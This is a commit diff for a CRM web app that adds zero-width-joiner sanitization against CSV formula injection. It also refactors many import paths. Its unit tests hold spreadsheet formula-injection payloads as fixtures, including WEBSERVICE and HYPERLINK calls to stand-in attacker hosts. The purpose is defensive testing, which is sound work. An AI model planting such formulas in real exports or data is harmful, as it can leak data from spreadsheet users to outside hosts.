Prevent csv export injections (#14347)
**Small Security Issue:** CSV exports were vulnerable to formula injection attacks when users entered values starting with =, +, -, or @. (only happens if a logged-in user injects corrupted data) Solution: - Added ZWJ (Zero-Width Joiner) protection that prefixes dangerous values with invisible Unicode character - This is the best way to preserve original data while preventing Excel from executing formulas - Added import cleanup to restore original values when re-importing Changes: - New sanitizeValueForCSVExport() function for security - Updated all CSV export paths to use both security + formatting functions - Added comprehensive tests covering attack vectors and international characters - Also added cursor rules for better code consistency --------- Co-authored-by: Charles Bochet <charlesBochet@users.noreply.github.com>
This commit is contained in:
+2
-2
@@ -4,6 +4,7 @@ import { useSetRecoilState } from 'recoil';
|
||||
import { useObjectNamePluralFromSingular } from '@/object-metadata/hooks/useObjectNamePluralFromSingular';
|
||||
|
||||
import { useObjectOptionsDropdown } from '@/object-record/object-options-dropdown/hooks/useObjectOptionsDropdown';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -12,10 +13,9 @@ import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownM
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { ViewFieldsHiddenDropdownSection } from '@/views/components/ViewFieldsHiddenDropdownSection';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownHiddenFieldsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+2
-2
@@ -7,6 +7,7 @@ import { RecordGroupsVisibilityDropdownSection } from '@/object-record/record-gr
|
||||
import { useRecordGroupVisibility } from '@/object-record/record-group/hooks/useRecordGroupVisibility';
|
||||
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
|
||||
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -17,10 +18,9 @@ import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/ho
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownHiddenRecordGroupsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+3
-2
@@ -8,6 +8,7 @@ import { useSearchRecordGroupField } from '@/object-record/object-options-dropdo
|
||||
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
|
||||
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
|
||||
import { useHandleRecordGroupField } from '@/object-record/record-index/hooks/useHandleRecordGroupField';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
|
||||
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
|
||||
@@ -20,8 +21,7 @@ import { ViewType } from '@/views/types/ViewType';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { IconChevronLeft, IconSettings, useIcons } from 'twenty-ui/display';
|
||||
import {
|
||||
MenuItem,
|
||||
@@ -29,6 +29,7 @@ import {
|
||||
UndecoratedLink,
|
||||
} from 'twenty-ui/navigation';
|
||||
import { FieldMetadataType } from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const ObjectOptionsDropdownRecordGroupFieldsContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+3
-2
@@ -20,13 +20,14 @@ import { recordStoreFamilySelector } from '@/object-record/record-store/states/s
|
||||
import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { isDropdownOpenComponentState } from '@/ui/layout/dropdown/states/isDropdownOpenComponentState';
|
||||
import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { ViewFilterOperand } from 'twenty-shared/types';
|
||||
import { RelationType } from '~/generated-metadata/graphql';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
type RecordDetailRelationSectionProps = {
|
||||
loading: boolean;
|
||||
|
||||
+1
-1
@@ -8,6 +8,7 @@ import { type RecordGroupAction } from '@/object-record/record-group/types/Recor
|
||||
import { useRecordIndexContextOrThrow } from '@/object-record/record-index/contexts/RecordIndexContext';
|
||||
import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore';
|
||||
import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { useRecoilComponentFamilyValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentFamilyValue';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
@@ -17,7 +18,6 @@ import { isUndefined } from '@sniptt/guards';
|
||||
import { useCallback, useContext } from 'react';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useSetRecoilState } from 'recoil';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import {
|
||||
IconArrowLeft,
|
||||
|
||||
+290
-4
@@ -1,5 +1,6 @@
|
||||
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
import { FieldMetadataType, RelationType } from '~/generated-metadata/graphql';
|
||||
import {
|
||||
@@ -11,22 +12,38 @@ jest.useFakeTimers();
|
||||
|
||||
describe('generateCsv', () => {
|
||||
it('generates a csv with formatted headers', async () => {
|
||||
const columns = [
|
||||
{ label: 'Foo', metadata: { fieldName: 'foo' } },
|
||||
{ label: 'Empty', metadata: { fieldName: 'empty' } },
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Foo',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'foo' },
|
||||
},
|
||||
{
|
||||
label: 'Empty',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'empty' },
|
||||
},
|
||||
{
|
||||
label: 'Nested link field',
|
||||
size: 150,
|
||||
type: FieldMetadataType.LINKS,
|
||||
metadata: { fieldName: 'nestedLinkField' },
|
||||
},
|
||||
{
|
||||
label: 'Relation',
|
||||
size: 120,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: {
|
||||
fieldName: 'relation',
|
||||
relationType: RelationType.MANY_TO_ONE,
|
||||
},
|
||||
},
|
||||
] as ColumnDefinition<FieldMetadata>[];
|
||||
];
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
@@ -49,6 +66,275 @@ describe('generateCsv', () => {
|
||||
.toEqual(`Id,Foo,Empty,Nested link field / Link URL,Nested link field / Secondary Links,Relation
|
||||
1,some field,,https://www.test.com,"[{""label"":""secondary link 1"",""url"":""https://www.test.com""},{""label"":""secondary link 2"",""url"":""https://www.test.com""}]",a relation`);
|
||||
});
|
||||
|
||||
describe('CSV Injection Prevention with ZWJ', () => {
|
||||
it('prevents formula injection with equals sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Name',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'name' },
|
||||
},
|
||||
{
|
||||
label: 'Formula',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'formula' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
name: 'Test User',
|
||||
formula: '=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain(
|
||||
'1,Test User,=WEBSERVICE("http://attacker.com")',
|
||||
);
|
||||
expect(csv).toContain(
|
||||
`1,Test User,"${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")"`,
|
||||
);
|
||||
});
|
||||
|
||||
it('prevents formula injection with plus sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Calculation',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'calculation' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
calculation: '+1+1',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`);
|
||||
expect(csv).not.toContain('1,+1+1');
|
||||
});
|
||||
|
||||
it('prevents formula injection with minus sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Calculation',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'calculation' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
calculation: '-1+1',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`);
|
||||
expect(csv).not.toContain('1,-1+1');
|
||||
});
|
||||
|
||||
it('prevents formula injection with at symbol using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Reference',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'reference' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
reference: '@SUM(1,1)',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`);
|
||||
expect(csv).not.toContain('1,@SUM(1,1)');
|
||||
});
|
||||
|
||||
it('prevents formula injection with tab character using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Data',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'data' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
data: '\t=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}\t=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain('1,\t=WEBSERVICE("http://attacker.com")');
|
||||
});
|
||||
|
||||
it('prevents formula injection with carriage return using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Data',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'data' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
data: '\r=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}\r=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain('1,\r=WEBSERVICE("http://attacker.com")');
|
||||
});
|
||||
|
||||
it('handles multiple injection attempts in different fields with ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Field1',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field1' },
|
||||
},
|
||||
{
|
||||
label: 'Field2',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field2' },
|
||||
},
|
||||
{
|
||||
label: 'Field3',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field3' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
field1: '=WEBSERVICE("http://evil.com")',
|
||||
field2: '+SUM(A1:A10)',
|
||||
field3: '-HYPERLINK("http://malicious.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://evil.com"")`,
|
||||
);
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+SUM(A1:A10)`);
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}-HYPERLINK(""http://malicious.com"")`,
|
||||
);
|
||||
|
||||
expect(csv).not.toContain('1,=WEBSERVICE("http://evil.com")');
|
||||
expect(csv).not.toContain(',+SUM(A1:A10)');
|
||||
expect(csv).not.toContain(',-HYPERLINK("http://malicious.com")');
|
||||
});
|
||||
|
||||
it('preserves legitimate content that does not start with dangerous characters', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Name',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'name' },
|
||||
},
|
||||
{
|
||||
label: 'Email',
|
||||
size: 120,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'email' },
|
||||
},
|
||||
{
|
||||
label: 'Description',
|
||||
size: 200,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'description' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
name: 'John Doe',
|
||||
email: 'john@example.com',
|
||||
description:
|
||||
'This is a normal description with = and + symbols in the middle',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain('John Doe');
|
||||
expect(csv).toContain('john@example.com');
|
||||
expect(csv).toContain(
|
||||
'This is a normal description with = and + symbols in the middle',
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('displayedExportProgress', () => {
|
||||
|
||||
+36
-6
@@ -12,7 +12,8 @@ import {
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { COMPOSITE_FIELD_SUB_FIELD_LABELS } from '@/settings/data-model/constants/CompositeFieldSubFieldLabel';
|
||||
import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue';
|
||||
import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV';
|
||||
import { sanitizeValueForCSVExport } from '@/spreadsheet-import/utils/sanitizeValueForCSVExport';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { saveAs } from 'file-saver';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
@@ -60,11 +61,10 @@ export const generateCsv: GenerateExport = ({
|
||||
const columnsToExportWithIdColumn = [objectIdColumn, ...columnsToExport];
|
||||
|
||||
const keys = columnsToExportWithIdColumn.flatMap((col) => {
|
||||
const headerLabel = `${col.label}${col.type === 'RELATION' ? ' Id' : ''}`;
|
||||
const column = {
|
||||
field: `${col.metadata.fieldName}${col.type === 'RELATION' ? 'Id' : ''}`,
|
||||
title: escapeCSVValue(
|
||||
`${col.label}${col.type === 'RELATION' ? ' Id' : ''}`,
|
||||
),
|
||||
title: formatValueForCSV(sanitizeValueForCSVExport(headerLabel)),
|
||||
};
|
||||
|
||||
const columnType = col.type;
|
||||
@@ -76,16 +76,46 @@ export const generateCsv: GenerateExport = ({
|
||||
const subFieldLabel = COMPOSITE_FIELD_SUB_FIELD_LABELS[columnType][key];
|
||||
return {
|
||||
field: `${column.field}.${key}`,
|
||||
title: `${column.title} / ${subFieldLabel}`,
|
||||
title: formatValueForCSV(
|
||||
sanitizeValueForCSVExport(`${column.title} / ${subFieldLabel}`),
|
||||
),
|
||||
};
|
||||
});
|
||||
|
||||
return nestedFieldsWithoutTypename;
|
||||
});
|
||||
|
||||
return json2csv(rows, {
|
||||
const sanitizedRows = rows.map((row) => {
|
||||
const sanitizedRow: Record<string, any> = {};
|
||||
|
||||
for (const [key, value] of Object.entries(row)) {
|
||||
// Apply ZWJ sanitization to all string values
|
||||
if (typeof value === 'string') {
|
||||
sanitizedRow[key] = sanitizeValueForCSVExport(value);
|
||||
} else if (isDefined(value) && typeof value === 'object') {
|
||||
// Handle nested objects (like composite fields)
|
||||
sanitizedRow[key] = {};
|
||||
for (const [nestedKey, nestedValue] of Object.entries(value)) {
|
||||
if (typeof nestedValue === 'string') {
|
||||
sanitizedRow[key][nestedKey] =
|
||||
sanitizeValueForCSVExport(nestedValue);
|
||||
} else {
|
||||
sanitizedRow[key][nestedKey] = nestedValue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
sanitizedRow[key] = value;
|
||||
}
|
||||
}
|
||||
|
||||
return sanitizedRow;
|
||||
});
|
||||
|
||||
return json2csv(sanitizedRows, {
|
||||
keys,
|
||||
emptyFieldValue: '',
|
||||
// Note: We handle CSV injection prevention manually with ZWJ approach above
|
||||
// This preserves original which the csvSecurity option does not do
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
+2
-2
@@ -1,8 +1,8 @@
|
||||
import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/contextStoreCurrentViewIdComponentState';
|
||||
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export const useHandleIndexIdentifierClick = ({
|
||||
objectMetadataItem,
|
||||
|
||||
+1
-1
@@ -7,10 +7,10 @@ import { useRecordIndexContextOrThrow } from '@/object-record/record-index/conte
|
||||
import { recordIndexOpenRecordInState } from '@/object-record/record-index/states/recordIndexOpenRecordInState';
|
||||
import { currentRecordSortsComponentState } from '@/object-record/record-sort/states/currentRecordSortsComponentState';
|
||||
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentCallbackState';
|
||||
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
|
||||
import { useRecoilCallback } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
export const useOpenRecordFromIndexView = () => {
|
||||
|
||||
+1
-1
@@ -4,8 +4,8 @@ import { useRecoilValue } from 'recoil';
|
||||
import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu';
|
||||
import { useFindManyRecordsSelectedInContextStore } from '@/context-store/hooks/useFindManyRecordsSelectedInContextStore';
|
||||
import { useMergeManyRecords } from '@/object-record/hooks/useMergeManyRecords';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
import { mergeSettingsState } from '../states/mergeSettingsState';
|
||||
|
||||
|
||||
+1
-1
@@ -7,8 +7,8 @@ import { useObjectMetadataItem } from '@/object-metadata/hooks/useObjectMetadata
|
||||
import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords';
|
||||
import { lastShowPageRecordIdState } from '@/object-record/record-field/ui/states/lastShowPageRecordId';
|
||||
import { useRecordIdsFromFindManyCacheRootQuery } from '@/object-record/record-show/hooks/useRecordIdsFromFindManyCacheRootQuery';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useQueryVariablesFromParentView } from '@/views/hooks/useQueryVariablesFromParentView';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
/* eslint-disable @nx/workspace-no-navigate-prefer-link */
|
||||
import { RecordTableEmptyStateDisplay } from '@/object-record/record-table/empty-state/components/RecordTableEmptyStateDisplay';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { IconSettings } from 'twenty-ui/display';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
|
||||
|
||||
+1
-1
@@ -9,9 +9,9 @@ import { RecordTitleCellContainerType } from '@/object-record/record-title-cell/
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
|
||||
import { getRecordFieldInputInstanceId } from '@/object-record/utils/getRecordFieldInputId';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
|
||||
import { useRecoilCallback } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { v4 } from 'uuid';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
+2
-2
@@ -7,16 +7,16 @@ import { useChangeRecordFieldVisibility } from '@/object-record/record-field/hoo
|
||||
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
|
||||
import { useRecordTableContextOrThrow } from '@/object-record/record-table/contexts/RecordTableContext';
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer';
|
||||
import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownMenuSeparator';
|
||||
import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown';
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconSettings, useIcons } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const RecordTableHeaderPlusButtonContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
Reference in New Issue
Block a user